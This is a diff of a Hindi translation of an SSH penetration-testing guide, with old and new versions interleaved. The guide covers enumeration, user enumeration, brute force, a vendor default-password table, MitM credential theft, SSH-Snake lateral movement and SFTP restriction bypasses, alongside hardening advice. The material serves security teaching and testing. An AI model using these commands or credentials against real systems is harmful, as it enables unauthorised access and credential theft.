- [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) – Windows के लिए SSH इम्प्लीमेंटेशन; क्लाइंट आमतौर पर उपयोग होता है लेकिन सर्वर का उपयोग कम सामान्य है
|
||||||
- [CopSSH](https://www.itefix.net/copssh) – Windows के लिए OpenSSH का कार्यान्वयन
|
- [CopSSH](https://www.itefix.net/copssh) – Windows के लिए OpenSSH का इम्प्लीमेंटेशन
|
||||||
|
|
||||||
**SSH पुस्तकालय (सर्वर-साइड कार्यान्वयन):**
|
**SSH लाइब्रेरीज़ (सर्वर-साइड को इम्प्लीमेंट करने वाली):**
|
||||||
|
|
||||||
- [libssh](https://www.libssh.org) – SSHv2 प्रोटोकॉल को लागू करने वाला बहु-प्लेटफ़ॉर्म C पुस्तकालय जिसमें [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) और [R](https://github.com/ropensci/ssh) में बाइंडिंग हैं; इसका उपयोग KDE द्वारा sftp के लिए और GitHub द्वारा git SSH अवसंरचना के लिए किया जाता है
|
- [libssh](https://www.libssh.org) – मल्टीप्लैटफ़ॉर्म C लाइब्रेरी जो SSHv2 प्रोटोकॉल को इम्प्लीमेंट करती है और इसमें [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) और [R](https://github.com/ropensci/ssh) के बाइंडिंग्स हैं; इसे sftp के लिए KDE और git SSH इंफ़्रास्ट्रक्चर के लिए GitHub द्वारा उपयोग किया जाता है
|
||||||
- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – ANSI C में लिखा गया SSHv2 सर्वर पुस्तकालय जो एम्बेडेड, RTOS, और संसाधन-सीमित वातावरण के लिए लक्षित है
|
- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – SSHv2 सर्वर लाइब्रेरी जो ANSI C में लिखी गई है और embedded, RTOS, और संसाधन-सीमित वातावरण के लिए लक्षित है
|
||||||
- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – Apache SSHD जावा पुस्तकालय Apache MINA पर आधारित है
|
- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – Apache SSHD java लाइब्रेरी Apache MINA पर आधारित है
|
||||||
- [paramiko](https://github.com/paramiko/paramiko) – Python SSHv2 प्रोटोकॉल पुस्तकालय
|
- [paramiko](https://github.com/paramiko/paramiko) – Python SSHv2 प्रोटोकॉल लाइब्रेरी
|
||||||
|
|
||||||
## गणना
|
## Enumeration
|
||||||
|
|
||||||
### बैनर ग्रैबिंग
|
### Banner Grabbing
|
||||||
```bash
|
```bash
|
||||||
nc -vn <IP> 22
|
nc -vn <IP> 22
|
||||||
```
|
```
|
||||||
### Automated ssh-audit
|
### स्वचालित ssh-audit
|
||||||
|
|
||||||
ssh-audit एक उपकरण है जो ssh सर्वर और क्लाइंट कॉन्फ़िगरेशन ऑडिटिंग के लिए है।
|
ssh-audit एक टूल है ssh server & client configuration auditing के लिए।
|
||||||
|
|
||||||
[https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) एक अपडेटेड फोर्क है [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/)
|
[https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) is an updated fork from [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/)
|
||||||
|
|
||||||
**विशेषताएँ:**
|
**विशेषताएँ:**
|
||||||
|
|
||||||
- SSH1 और SSH2 प्रोटोकॉल सर्वर समर्थन;
|
- SSH1 और SSH2 प्रोटोकॉल सर्वर समर्थन;
|
||||||
- SSH क्लाइंट कॉन्फ़िगरेशन का विश्लेषण करें;
|
- SSH client कॉन्फ़िगरेशन का विश्लेषण;
|
||||||
- बैनर प्राप्त करें, डिवाइस या सॉफ़्टवेयर और ऑपरेटिंग सिस्टम को पहचानें, संकुचन का पता लगाएं;
|
- बैनर प्राप्त करें, डिवाइस या सॉफ्टवेयर और ऑपरेटिंग सिस्टम पहचानें, कंप्रेशन का पता लगाएँ;
|
||||||
- कुंजी-परिवर्तन, होस्ट-कुंजी, एन्क्रिप्शन और संदेश प्रमाणीकरण कोड एल्गोरिदम एकत्र करें;
|
- key-exchange, host-key, encryption और message authentication code एल्गोरिदम इकट्ठा करें;
|
||||||
- एल्गोरिदम जानकारी आउटपुट करें (उपलब्धता से, हटा/अक्षम, असुरक्षित/कमजोर/पुराना, आदि);
|
- एल्गोरिदम जानकारी आउटपुट करें (कब से उपलब्ध, हटाया/अक्षम किया गया, असुरक्षित/कमज़ोर/पुराना, आदि);
|
||||||
- एल्गोरिदम सिफारिशें आउटपुट करें (पहचाने गए सॉफ़्टवेयर संस्करण के आधार पर जोड़ें या हटाएं);
|
- एल्गोरिदम अनुशंसाएँ आउटपुट करें (पहचाने गए सॉफ़्टवेयर संस्करण के आधार पर जोड़ें या हटाएँ);
|
||||||
- सुरक्षा जानकारी आउटपुट करें (संबंधित मुद्दे, असाइन किए गए CVE सूची, आदि);
|
- सुरक्षा जानकारी आउटपुट करें (संबंधित मुद्दे, असाइन किए गए CVE सूची, आदि);
|
||||||
- एल्गोरिदम जानकारी के आधार पर SSH संस्करण संगतता का विश्लेषण करें;
|
- एल्गोरिदम जानकारी के आधार पर SSH संस्करण संगतता का विश्लेषण;
|
||||||
- OpenSSH, Dropbear SSH और libssh से ऐतिहासिक जानकारी;
|
- OpenSSH, Dropbear SSH और libssh से ऐतिहासिक जानकारी;
|
||||||
- Linux और Windows पर चलता है;
|
- Linux और Windows पर चलता है;
|
||||||
- कोई निर्भरता नहीं
|
- कोई निर्भरता नहीं
|
||||||
@ -75,11 +75,11 @@ $ python3 ssh-audit <IP>
|
|||||||
```bash
|
```bash
|
||||||
ssh-keyscan -t rsa <IP> -p <PORT>
|
ssh-keyscan -t rsa <IP> -p <PORT>
|
||||||
```
|
```
|
||||||
### कमजोर सिफर एल्गोरिदम
|
### कमज़ोर Cipher Algorithms
|
||||||
|
|
||||||
यह डिफ़ॉल्ट रूप से **nmap** द्वारा खोजा जाता है। लेकिन आप **sslcan** या **sslyze** का भी उपयोग कर सकते हैं।
|
यह डिफ़ॉल्ट रूप से **nmap** द्वारा खोजा जाता है। लेकिन आप **sslcan** या **sslyze** का भी उपयोग कर सकते हैं।
|
||||||
|
|
||||||
### Nmap स्क्रिप्ट
|
### Nmap scripts
|
||||||
```bash
|
```bash
|
||||||
nmap -p22 <ip> -sC # Send default nmap scripts for SSH
|
nmap -p22 <ip> -sC # Send default nmap scripts for SSH
|
||||||
nmap -p22 <ip> -sV # Retrieve version
|
nmap -p22 <ip> -sV # Retrieve version
|
||||||
@ -91,25 +91,26 @@ nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check a
|
|||||||
|
|
||||||
- `ssh`
|
- `ssh`
|
||||||
|
|
||||||
## ब्रूट फोर्स उपयोगकर्ता नाम, पासवर्ड और निजी कुंजी
|
## Brute force usernames, passwords and private keys
|
||||||
|
|
||||||
### उपयोगकर्ता नाम गणना
|
### Username Enumeration
|
||||||
|
|
||||||
OpenSSH के कुछ संस्करणों में आप उपयोगकर्ताओं की गणना करने के लिए एक टाइमिंग अटैक कर सकते हैं। आप इसे शोषण करने के लिए एक मेटास्प्लॉट मॉड्यूल का उपयोग कर सकते हैं:
|
OpenSSH के कुछ संस्करणों में आप एक timing attack करके users को enumerate कर सकते हैं।
|
||||||
|
इसे exploit करने के लिए आप metasploit module का उपयोग कर सकते हैं:
|
||||||
```
|
```
|
||||||
msf> use scanner/ssh/ssh_enumusers
|
msf> use scanner/ssh/ssh_enumusers
|
||||||
```
|
```
|
||||||
### [Brute force](../generic-hacking/brute-force.md#ssh)
|
### [Brute force](../generic-hacking/brute-force.md#ssh)
|
||||||
|
|
||||||
कुछ सामान्य ssh क्रेडेंशियल [यहाँ ](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt)और [यहाँ](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) और नीचे।
|
कुछ सामान्य ssh credentials [here ](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt)and [here](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) and below.
|
||||||
|
|
||||||
### Private Key Brute Force
|
### Private Key Brute Force
|
||||||
|
|
||||||
यदि आप कुछ ssh प्राइवेट कीज़ जानते हैं जो उपयोग की जा सकती हैं... चलो इसे आजमाते हैं। आप nmap स्क्रिप्ट का उपयोग कर सकते हैं:
|
यदि आपके पास उपयोग में लाए जा सकने वाले कुछ ssh private keys हैं... तो चलिए कोशिश करते हैं। आप nmap script का उपयोग कर सकते हैं:
|
||||||
```
|
```
|
||||||
https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html
|
https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html
|
||||||
```
|
```
|
||||||
या MSF सहायक मॉड्यूल:
|
या MSF auxiliary module:
|
||||||
```
|
```
|
||||||
msf> use scanner/ssh/ssh_identify_pubkeys
|
msf> use scanner/ssh/ssh_identify_pubkeys
|
||||||
```
|
```
|
||||||
@ -117,28 +118,48 @@ Or use `ssh-keybrute.py` (native python3, lightweight and has legacy algorithms
|
|||||||
|
|
||||||
#### Known badkeys can be found here:
|
#### Known badkeys can be found here:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://github.com/rapid7/ssh-badkeys/tree/master/authorized
|
https://github.com/rapid7/ssh-badkeys/tree/master/authorized
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
#### Weak SSH keys / Debian predictable PRNG
|
#### कमजोर SSH keys / Debian predictable PRNG
|
||||||
|
|
||||||
कुछ सिस्टम में क्रिप्टोग्राफिक सामग्री उत्पन्न करने के लिए उपयोग किए जाने वाले रैंडम सीड में ज्ञात दोष होते हैं। इससे कुंजी स्थान में नाटकीय रूप से कमी आ सकती है जिसे ब्रूटफोर्स किया जा सकता है। कमजोर PRNG से प्रभावित डेबियन सिस्टम पर उत्पन्न की गई पूर्व-निर्मित कुंजी सेट यहाँ उपलब्ध हैं: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
|
कुछ सिस्टम्स में cryptographic material जनरेट करने के लिए उपयोग किए जाने वाले random seed में ज्ञात दोष होते हैं। इससे keyspace नाटकीय रूप से घट सकता है जिसे bruteforce किया जा सकता है। कमजोर PRNG से प्रभावित Debian सिस्टम्स पर प्री-जनरेटेड keys के सेट यहाँ उपलब्ध हैं: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
|
||||||
|
|
||||||
आपको पीड़ित मशीन के लिए मान्य कुंजी खोजने के लिए यहाँ देखना चाहिए।
|
आपको लक्षित मशीन के लिए वैध keys खोजने हेतु यहाँ देखना चाहिए।
|
||||||
|
|
||||||
### Kerberos
|
### Kerberos / GSSAPI SSO
|
||||||
|
|
||||||
**crackmapexec** `ssh` प्रोटोकॉल का उपयोग करते हुए `--kerberos` विकल्प का उपयोग करके **kerberos के माध्यम से प्रमाणीकरण** कर सकता है।\
|
यदि target SSH server GSSAPI को सपोर्ट करता है (उदाहरण के लिए Windows OpenSSH एक domain controller पर), तो आप password के बजाय अपने Kerberos TGT का उपयोग करके authenticate कर सकते हैं।
|
||||||
अधिक जानकारी के लिए `crackmapexec ssh --help` चलाएँ।
|
|
||||||
|
|
||||||
## Default Credentials
|
Workflow from a Linux attacker host:
|
||||||
|
```bash
|
||||||
|
# 1) Ensure time is in sync with the KDC to avoid KRB_AP_ERR_SKEW
|
||||||
|
sudo ntpdate <dc.fqdn>
|
||||||
|
|
||||||
| **Vendor** | **Usernames** | **Passwords** |
|
# 2) Generate a krb5.conf for the target realm (optional, but handy)
|
||||||
|
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
|
||||||
|
sudo cp krb5.conf /etc/krb5.conf
|
||||||
|
|
||||||
|
# 3) Obtain a TGT for the user
|
||||||
|
kinit <user>
|
||||||
|
klist
|
||||||
|
|
||||||
|
# 4) SSH with GSSAPI, using the FQDN that matches the host SPN
|
||||||
|
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
|
||||||
|
```
|
||||||
|
नोट्स:
|
||||||
|
- यदि आप गलत नाम से कनेक्ट करते हैं (उदा., short host, alias, या /etc/hosts में गलत क्रम), तो आपको मिल सकता है: "Server not found in Kerberos database" क्योंकि SPN मेल नहीं खाता।
|
||||||
|
- `crackmapexec ssh --kerberos` आपके Kerberos auth के लिये आपका ccache भी उपयोग कर सकता है।
|
||||||
|
|
||||||
|
## डिफ़ॉल्ट क्रेडेंशियल्स
|
||||||
|
|
||||||
|
| **विक्रेता** | **उपयोगकर्ता नाम** | **पासवर्ड** |
|
||||||
| ---------- | ----------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
| ---------- | ----------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||||
| APC | apc, device | apc |
|
| APC | apc, device | apc |
|
||||||
| Brocade | admin | admin123, password, brocade, fibranne |
|
| Brocade | admin | admin123, password, brocade, fibranne |
|
||||||
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
|
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
|
||||||
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
|
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
|
||||||
| D-Link | admin, user | private, admin, user |
|
| D-Link | admin, user | private, admin, user |
|
||||||
| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
|
| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
|
||||||
@ -153,43 +174,43 @@ https://github.com/rapid7/ssh-badkeys/tree/master/authorized
|
|||||||
|
|
||||||
## SSH-MitM
|
## SSH-MitM
|
||||||
|
|
||||||
यदि आप स्थानीय नेटवर्क में हैं जैसे कि पीड़ित जो उपयोगकर्ता नाम और पासवर्ड का उपयोग करके SSH सर्वर से कनेक्ट होने जा रहा है, तो आप **उन क्रेडेंशियल्स को चुराने के लिए एक MitM हमला करने की कोशिश कर सकते हैं:**
|
यदि आप victim के स्थानीय नेटवर्क में हैं जो username और password का उपयोग करके SSH server से कनेक्ट होने जा रहा है, तो आप उन credentials चोरी करने के लिये MitM हमला आज़मा सकते हैं:
|
||||||
|
|
||||||
**हमले का मार्ग:**
|
Attack path:
|
||||||
|
|
||||||
- **ट्रैफ़िक पुनर्निर्देशन:** हमलावर पीड़ित के ट्रैफ़िक को अपनी मशीन की ओर **मोड़ता** है, प्रभावी रूप से SSH सर्वर के लिए कनेक्शन प्रयास को **अवरोधित** करता है।
|
- Traffic Redirection: attacker victim के ट्रैफ़िक को अपनी मशीन पर divert कर देता है, जिससे SSH server पर कनेक्शन प्रयास effectively intercept हो जाता है।
|
||||||
- **अवरोधन और लॉगिंग:** हमलावर की मशीन एक **प्रॉक्सी** के रूप में कार्य करती है, उपयोगकर्ता के लॉगिन विवरण को वैध SSH सर्वर होने का नाटक करके **कैप्चर** करती है।
|
- Interception and Logging: attacker की मशीन एक proxy की तरह काम करती है, legitimate SSH server होने का नाटक करके उपयोगकर्ता के login विवरण capture कर लेती है।
|
||||||
- **कमांड निष्पादन और रिले:** अंततः, हमलावर का सर्वर **उपयोगकर्ता के क्रेडेंशियल्स को लॉग करता है**, **कमांड को** असली SSH सर्वर पर **आगे बढ़ाता है**, **उन्हें निष्पादित** करता है, और **परिणामों को वापस** उपयोगकर्ता को भेजता है, जिससे प्रक्रिया सहज और वैध प्रतीत होती है।
|
- Command Execution and Relay: अंत में attacker का सर्वर उपयोगकर्ता के credentials log करता है, commands को real SSH server पर forward करता है, उन्हें execute कराता है, और परिणाम उपयोगकर्ता को वापस भेज देता है, जिससे प्रक्रिया seamless और legitimate दिखाई देती है।
|
||||||
|
|
||||||
[**SSH MITM**](https://github.com/jtesta/ssh-mitm) ठीक वही करता है जो ऊपर वर्णित है।
|
[**SSH MITM**](https://github.com/jtesta/ssh-mitm) ठीक वही करता है जो ऊपर वर्णित है।
|
||||||
|
|
||||||
MitM को वास्तविक रूप से कैप्चर करने के लिए आप ARP स्पूफिंग, DNS स्पूफिंग या अन्य तकनीकों का उपयोग कर सकते हैं जो [**Network Spoofing attacks**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing) में वर्णित हैं।
|
वास्तविक MitM कैप्चर करने के लिये आप ARP spoofing, DNS spoofin या अन्य तकनीकों का उपयोग कर सकते हैं जो [**Network Spoofing attacks**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing) में वर्णित हैं।
|
||||||
|
|
||||||
## SSH-Snake
|
## SSH-Snake
|
||||||
|
|
||||||
यदि आप सिस्टम पर खोजे गए SSH निजी कुंजियों का उपयोग करके नेटवर्क को पार करना चाहते हैं, प्रत्येक सिस्टम पर प्रत्येक निजी कुंजी का उपयोग करके नए होस्ट के लिए, तो [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) वही है जिसकी आपको आवश्यकता है।
|
यदि आप discovered SSH private keys का उपयोग करके एक नेटवर्क traverse करना चाहते हैं, प्रत्येक सिस्टम पर मिलने वाले private key का उपयोग करके नए hosts तक पहुँचना चाहते हैं, तो [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) आपकी जरूरत का टूल है।
|
||||||
|
|
||||||
SSH-Snake निम्नलिखित कार्यों को स्वचालित और पुनरावृत्त रूप से करता है:
|
SSH-Snake स्वतः और recursively निम्न कार्य करता है:
|
||||||
|
|
||||||
1. वर्तमान सिस्टम पर, किसी भी SSH निजी कुंजी को खोजें,
|
1. वर्तमान सिस्टम पर किसी भी SSH private keys को ढूँढे,
|
||||||
2. वर्तमान सिस्टम पर, किसी भी होस्ट या गंतव्यों (user@host) को खोजें जिन्हें निजी कुंजी स्वीकार की जा सकती हैं,
|
2. वर्तमान सिस्टम पर किसी भी hosts या destinations (user@host) को ढूँढे जहाँ private keys स्वीकार किए जा सकते हैं,
|
||||||
3. खोजी गई सभी निजी कुंजियों का उपयोग करके सभी गंतव्यों में SSH करने का प्रयास करें,
|
3. सभी discovered private keys का उपयोग करके सभी destinations में SSH करने का प्रयास करे,
|
||||||
4. यदि किसी गंतव्य से सफलतापूर्वक कनेक्ट किया गया है, तो जुड़े हुए सिस्टम पर चरण #1 - #4 को दोहराएं।
|
4. यदि किसी destination में सफलतापूर्वक कनेक्ट हो जाता है, तो connected-to system पर चरण #1 - #4 दोहराए।
|
||||||
|
|
||||||
यह पूरी तरह से आत्म-प्रतिकृति और आत्म-प्रसार करने वाला है -- और पूरी तरह से फ़ाइल रहित है।
|
यह पूर्णत: self-replicating और self-propagating है — और पूरी तरह fileless है।
|
||||||
|
|
||||||
## Config Misconfigurations
|
## Config Misconfigurations
|
||||||
|
|
||||||
### Root login
|
### Root login
|
||||||
|
|
||||||
यह सामान्य है कि SSH सर्वर डिफ़ॉल्ट रूप से रूट उपयोगकर्ता लॉगिन की अनुमति देते हैं, जो एक महत्वपूर्ण सुरक्षा जोखिम प्रस्तुत करता है। **रूट लॉगिन को अक्षम करना** सर्वर को सुरक्षित करने में एक महत्वपूर्ण कदम है। प्रशासनिक विशेषाधिकारों के साथ अनधिकृत पहुंच और ब्रूट फोर्स हमलों को इस परिवर्तन से कम किया जा सकता है।
|
अक्सर SSH servers डिफ़ॉल्ट रूप से root user login की अनुमति देते हैं, जो एक गंभीर सुरक्षा जोखिम है। सर्वर को सुरक्षित बनाने के लिये **root login को disable करना** एक महत्वपूर्ण कदम है। प्रशासनिक privileges के साथ unauthorized access और brute force हमला इससे कम किए जा सकते हैं।
|
||||||
|
|
||||||
**OpenSSH में रूट लॉगिन को अक्षम करने के लिए:**
|
OpenSSH में Root Login disable करने के लिये:
|
||||||
|
|
||||||
1. **SSH कॉन्फ़िग फ़ाइल को संपादित करें**: `sudoedit /etc/ssh/sshd_config`
|
1. `sudoedit /etc/ssh/sshd_config` से SSH config फ़ाइल edit करें
|
||||||
2. **सेटिंग को बदलें**: `#PermitRootLogin yes` से **`PermitRootLogin no`** में।
|
2. सेटिंग को `#PermitRootLogin yes` से बदलकर **`PermitRootLogin no`** करें।
|
||||||
3. **कॉन्फ़िगरेशन को पुनः लोड करें**: `sudo systemctl daemon-reload`
|
3. कॉन्फ़िगरेशन reload करने के लिये: `sudo systemctl daemon-reload`
|
||||||
4. **परिवर्तनों को लागू करने के लिए SSH सर्वर को पुनः प्रारंभ करें**: `sudo systemctl restart sshd`
|
4. बदलाओं को लागू करने के लिये SSH सर्वर restart करें: `sudo systemctl restart sshd`
|
||||||
|
|
||||||
### SFTP Brute Force
|
### SFTP Brute Force
|
||||||
|
|
||||||
@ -197,9 +218,9 @@ SSH-Snake निम्नलिखित कार्यों को स्व
|
|||||||
|
|
||||||
### SFTP command execution
|
### SFTP command execution
|
||||||
|
|
||||||
SFTP सेटअप के साथ एक सामान्य चूक होती है, जहां व्यवस्थापक उपयोगकर्ताओं को बिना दूरस्थ शेल पहुंच के फ़ाइलों का आदान-प्रदान करने का इरादा रखते हैं। उपयोगकर्ताओं को गैर-इंटरैक्टिव शेल (जैसे, `/usr/bin/nologin`) के साथ सेट करने और उन्हें एक विशिष्ट निर्देशिका में सीमित करने के बावजूद, एक सुरक्षा छिद्र बना रहता है। **उपयोगकर्ता इन प्रतिबंधों को दरकिनार कर सकते हैं** लॉगिन के तुरंत बाद एक कमांड (जैसे `/bin/bash`) निष्पादित करने का अनुरोध करके, इससे पहले कि उनका निर्दिष्ट गैर-इंटरैक्टिव शेल नियंत्रण ले ले। यह अनधिकृत कमांड निष्पादन की अनुमति देता है, जो इच्छित सुरक्षा उपायों को कमजोर करता है।
|
SFTP setups में एक सामान्य चूक होती है, जहाँ administrators चाहते हैं कि users केवल फ़ाइलें एक्सचेंज करें बिना remote shell access के। हालांकि users को non-interactive shells (उदा., `/usr/bin/nologin`) सेट करके और उन्हें किसी विशेष directory तक प्रतिबंधित करके यह नीयत अपनाई जाती है, एक सुरक्षा loophole बनी रहती है। **Users इन प्रतिबंधों को बायपास कर सकते हैं** यदि वे लॉगिन के तुरंत बाद (उनके निर्धारित non-interactive shell के लागू होने से पहले) किसी command (जैसे `/bin/bash`) के execution की request कर दें। इससे unauthorized command execution संभव हो जाती है और अपेक्षित सुरक्षा उपाय कमजोर हो जाते हैं।
|
||||||
|
|
||||||
[Example from here](https://community.turgensec.com/ssh-hacking-guide/):
|
[उदाहरण यहाँ से](https://community.turgensec.com/ssh-hacking-guide/):
|
||||||
```bash
|
```bash
|
||||||
ssh -v noraj@192.168.1.94 id
|
ssh -v noraj@192.168.1.94 id
|
||||||
...
|
...
|
||||||
@ -222,7 +243,7 @@ debug1: Exit status 0
|
|||||||
|
|
||||||
$ ssh noraj@192.168.1.94 /bin/bash
|
$ ssh noraj@192.168.1.94 /bin/bash
|
||||||
```
|
```
|
||||||
यहाँ उपयोगकर्ता `noraj` के लिए सुरक्षित SFTP कॉन्फ़िगरेशन का एक उदाहरण है (`/etc/ssh/sshd_config` – openSSH):
|
यहाँ उपयोगकर्ता `noraj` के लिए सुरक्षित SFTP कॉन्फ़िगरेशन (`/etc/ssh/sshd_config` – openSSH) का एक उदाहरण है:
|
||||||
```
|
```
|
||||||
Match User noraj
|
Match User noraj
|
||||||
ChrootDirectory %h
|
ChrootDirectory %h
|
||||||
@ -232,11 +253,11 @@ PermitTunnel no
|
|||||||
X11Forwarding no
|
X11Forwarding no
|
||||||
PermitTTY no
|
PermitTTY no
|
||||||
```
|
```
|
||||||
यह कॉन्फ़िगरेशन केवल SFTP की अनुमति देगा: स्टार्ट कमांड को मजबूर करके शेल एक्सेस को अक्षम करना और TTY एक्सेस को अक्षम करना, लेकिन सभी प्रकार के पोर्ट फॉरवर्डिंग या टनलिंग को भी अक्षम करना।
|
यह कॉन्फ़िगरेशन केवल SFTP की अनुमति देगा: start command को मजबूर करके shell access को अक्षम करना और TTY access को अक्षम करना, साथ ही सभी प्रकार के port forwarding या tunneling को भी अक्षम करना।
|
||||||
|
|
||||||
### SFTP टनलिंग
|
### SFTP Tunneling
|
||||||
|
|
||||||
यदि आपके पास SFTP सर्वर तक पहुंच है, तो आप उदाहरण के लिए सामान्य पोर्ट फॉरवर्डिंग का उपयोग करके अपने ट्रैफ़िक को इसके माध्यम से टनल कर सकते हैं:
|
यदि आपके पास किसी SFTP सर्वर तक पहुँच है, तो आप अपने ट्रैफ़िक को इसके माध्यम से tunnel कर सकते हैं, उदाहरण के लिए सामान्य port forwarding का उपयोग करके:
|
||||||
```bash
|
```bash
|
||||||
sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>
|
sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>
|
||||||
```
|
```
|
||||||
@ -248,26 +269,26 @@ For example, to create a **symlink** from a new file **"**_**froot**_**" to "**_
|
|||||||
```bash
|
```bash
|
||||||
sftp> symlink / froot
|
sftp> symlink / froot
|
||||||
```
|
```
|
||||||
यदि आप "_froot_" फ़ाइल को वेब के माध्यम से एक्सेस कर सकते हैं, तो आप सिस्टम के रूट ("/") फ़ोल्डर को सूचीबद्ध कर सकेंगे।
|
यदि आप वेब के माध्यम से फ़ाइल "_froot_" तक पहुँच सकते हैं, तो आप सिस्टम के root ("/") फ़ोल्डर की सूची देख पाएँगे।
|
||||||
|
|
||||||
### प्रमाणीकरण विधियाँ
|
### प्रमाणीकरण विधियाँ
|
||||||
|
|
||||||
उच्च सुरक्षा वातावरण में केवल कुंजी-आधारित या दो-कारक प्रमाणीकरण को सक्षम करना एक सामान्य प्रथा है, बजाय साधारण कारक पासवर्ड आधारित प्रमाणीकरण के। लेकिन अक्सर मजबूत प्रमाणीकरण विधियाँ सक्षम की जाती हैं बिना कमजोर विधियों को अक्षम किए। एक सामान्य मामला `publickey` को openSSH कॉन्फ़िगरेशन में सक्षम करना और इसे डिफ़ॉल्ट विधि के रूप में सेट करना है लेकिन `password` को अक्षम नहीं करना है। इसलिए SSH क्लाइंट के विस्तृत मोड का उपयोग करके, एक हमलावर देख सकता है कि एक कमजोर विधि सक्षम है:
|
उच्च सुरक्षा वाले वातावरण में आम तौर पर केवल key-based या two factor authentication को सक्षम करना सामान्य प्रैक्टिस होती है बजाय साधारण password-based authentication के। पर अक्सर मजबूत प्रमाणीकरण विधियाँ सक्षम कर दी जाती हैं पर कमजोर विधियों को अक्षम नहीं किया जाता। एक सामान्य स्थिति यह है कि openSSH configuration में `publickey` को सक्षम कर दिया जाता है और उसे डिफ़ॉल्ट विधि बना दिया जाता है, पर `password` को अक्षम नहीं किया जाता। इसलिए SSH client के verbose mode का उपयोग करके एक attacker देख सकता है कि कमजोर विधि सक्षम है:
|
||||||
```bash
|
```bash
|
||||||
ssh -v 192.168.1.94
|
ssh -v 192.168.1.94
|
||||||
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
|
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
|
||||||
...
|
...
|
||||||
debug1: Authentications that can continue: publickey,password,keyboard-interactive
|
debug1: Authentications that can continue: publickey,password,keyboard-interactive
|
||||||
```
|
```
|
||||||
उदाहरण के लिए, यदि प्रमाणीकरण विफलता सीमा निर्धारित की गई है और आपको पासवर्ड विधि तक पहुँचने का मौका नहीं मिलता है, तो आप इस विधि का उपयोग करने के लिए `PreferredAuthentications` विकल्प का उपयोग कर सकते हैं।
|
उदाहरण के लिए, यदि किसी प्रमाणीकरण विफलता सीमा को सेट किया गया है और आपको कभी भी पासवर्ड विधि तक पहुँचने का मौका नहीं मिलता, तो आप इस विधि का उपयोग करने के लिए `PreferredAuthentications` विकल्प का उपयोग कर सकते हैं।
|
||||||
```bash
|
```bash
|
||||||
ssh -v 192.168.1.94 -o PreferredAuthentications=password
|
ssh -v 192.168.1.94 -o PreferredAuthentications=password
|
||||||
...
|
...
|
||||||
debug1: Next authentication method: password
|
debug1: Next authentication method: password
|
||||||
```
|
```
|
||||||
SSH सर्वर कॉन्फ़िगरेशन की समीक्षा करना आवश्यक है कि केवल अपेक्षित विधियाँ अधिकृत हैं। क्लाइंट पर विस्तृत मोड का उपयोग करना कॉन्फ़िगरेशन की प्रभावशीलता को देखने में मदद कर सकता है।
|
SSH सर्वर कॉन्फ़िगरेशन की समीक्षा आवश्यक है ताकि यह सुनिश्चित किया जा सके कि केवल अपेक्षित विधियाँ ही अधिकृत हैं। क्लाइंट पर verbose mode का उपयोग कॉन्फ़िगरेशन की प्रभावशीलता देखने में मदद कर सकता है।
|
||||||
|
|
||||||
### Config files
|
### कॉन्फ़िग फ़ाइलें
|
||||||
```bash
|
```bash
|
||||||
ssh_config
|
ssh_config
|
||||||
sshd_config
|
